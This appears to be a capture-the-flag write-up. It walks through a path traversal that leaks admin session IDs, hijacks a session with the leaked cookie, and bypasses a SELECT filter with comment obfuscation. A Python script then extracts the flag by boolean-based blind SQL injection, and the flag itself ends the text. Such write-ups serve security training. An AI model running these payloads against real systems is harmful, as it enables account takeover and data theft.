The site is a Next.js storefront with an admin console. A path traversal in the debug endpoint leaks active session IDs, including an admin session. Using that session cookie grants access to /admin and /api/admin/search. The search endpoint is SQL-injectable; SELECT is blocked by a naive filter, but comment obfuscation (select/**/) works. A boolean-based extraction pulls the flag from the secrets table.
window.CAMPUS_CONFIG:
/api/v2/debug/sessions403, but path traversal via /api/admin%2f..%2fdebug%2fsessions returns session data.curl -s https://campus-one.ctf.rusec.club/api/admin%2f..%2fdebug%2fsessions
Look for an entry like:
{"sessionId":"admin_session_44920_x8z","user":"admin_root","role":"administrator"}
Use the leaked session cookie:
SID=admin_session_44920_x8z
curl -s -H "Cookie: session_id=$SID" https://campus-one.ctf.rusec.club/admin
Admin UI shows a search function hitting:
/api/admin/search?q=...
The query is concatenated into a SQL LIKE clause. Simple SELECT/UNION payloads error (filter), but comment obfuscation works:
select/**/from/**/Boolean-based extraction works by toggling whether the query still matches results:
' || (CASE WHEN <cond> THEN '' ELSE 'ZZZ' END) || '
If <cond> is true, results appear; otherwise, none.
The flag is stored in secrets.value. Use binary search on length and characters:
import urllib.parse, urllib.request, json
sid = "admin_session_44920_x8z"
base = "https://campus-one.ctf.rusec.club/api/admin/search?q="
opener = urllib.request.build_opener()
def check(cond):
payload = "' || (CASE WHEN " + cond + " THEN '' ELSE 'ZZZ' END) || '"
q = urllib.parse.quote(payload, safe="")
req = urllib.request.Request(base + q, headers={"Cookie": f"session_id={sid}"})
with opener.open(req, timeout=10) as resp:
data = json.loads(resp.read().decode())
return data.get("count", 0) > 0
# length
low, high = 1, 128
while check(f"(select/**/length(value) from/**/secrets limit 1) > {high}"):
high *= 2
lo, hi = 1, high
while lo < hi:
mid = (lo + hi + 1) // 2
if check(f"(select/**/length(value) from/**/secrets limit 1) >= {mid}"):
lo = mid
else:
hi = mid - 1
length = lo
# chars
flag = []
for pos in range(1, length + 1):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if check(f"(select/**/unicode(substr(value,{pos},1)) from/**/secrets limit 1) > {mid}"):
lo = mid + 1
else:
hi = mid
flag.append(chr(lo))
print("flag:", "".join(flag))
RUSEC{S3ss10n_H1j4ck1ng_1s_Fun_2938}